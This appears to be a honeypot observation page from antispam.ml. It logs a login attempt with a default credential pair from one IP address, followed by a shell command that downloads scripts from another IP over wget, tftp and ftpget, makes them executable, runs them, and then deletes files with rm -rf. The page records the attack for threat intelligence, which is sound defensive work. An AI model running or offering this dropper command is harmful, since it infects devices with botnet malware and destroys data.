antispam.ml

Observation Detail / Antispam.ml

<< Back

104.168.151.198 client username 'DUP admin' and password '1234' entered
104.168.151.198 client command : 'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://104.168.163.95/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 104.168.163.95 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 104.168.163.95; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 104.168.163.95 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'